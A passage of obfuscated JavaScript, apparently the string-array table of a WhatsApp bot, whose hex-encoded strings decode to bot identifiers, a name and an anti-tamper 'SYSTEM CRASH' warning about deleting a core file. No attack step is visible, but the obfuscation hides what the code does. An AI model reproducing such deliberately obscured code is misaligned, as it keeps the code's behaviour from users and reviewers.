7efe1fdf7ebe7efe1f0f7abe6e5ede8e1fdf7','e6fdf0e1f7d0ebd7edfee1','e3e1f0d6e5eae0ebe9','e2f6ebe9cbe6eee1e7f0','e8ebe5e0c9e1f7f7e5e3e1','e3e1f0c0e5fd','f0ebc8ebe7e5e8e1c0e5f0e1d7f0f6edeae3','e9e5f4','f6e1f4e8fd','e0ebf3eae8ebe5e0','e0e5f0e5','f4e5f6f7e1c9e1eaf0edebea','f4f6ebf0e1fc','f7e1eae0c9e1e0ede5','c4f7aaf3ece5f0f7e5f4f4aaeae1f0','e1fcedf0','e0e1e7ebe0e1ceede0','f3e1f0ebea','cbe7f0ebe6e1f6','b6b7b4b2b2b0d2e0f3c5ecc9','e7ebeaf2e1f6f7e5f0edebea','e2ebf6e9e5f0c0e5f0e1','e9f7e3','f6e1e5e0c2ede8e1d7fdeae7','f0e1fcf0','e9ebe9e1eaf0a9f0ede9e1feebeae1','f0ece1ea','edf7d1f6e8','e5fcedebf7','f1f7e1f6','f0ebcbe6eee1e7f0','e3e1f0d7edfee1c9e1e0ede5','e7ebf4fdcac2ebf6f3e5f6e0','c9e5e8f2edeaa4cfedeae3','e8e1eae3f0ec','f1f6e8','d4ebea','e5e0e9edea','b6b1b3b5bdb6b4c1edf1cfcdea','e3e1f0c9ebeaf0ec','e7ece5f0','c9d0cdf3c9feddfecac0cdf3cbd0e3b1cad0cdb6c9d0eff3','cee5eaf1e5f6fd','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4e7ebf6e1aae9e1f0e5a4e2ede8e1a4eaebf0a4e2ebf1eae0a5a4d7f0f6ede7f0e8fda4f4f6ebecede6edf0e1e0a4f0eba4e0e1e8e1f0e1a4e2ede8e1a4a5','e8edf7f0d6e1f7f4ebeaf7e1c9e1f7f7e5e3e1','c2f6ede0e5fd'];nVjOQRxdAzikXHUeQTqWb=function(){return NpuCJxpZlKvToxieD;};return nVjOQRxdAzikXHUeQTqWb();} --------------------------------------------------------------------------------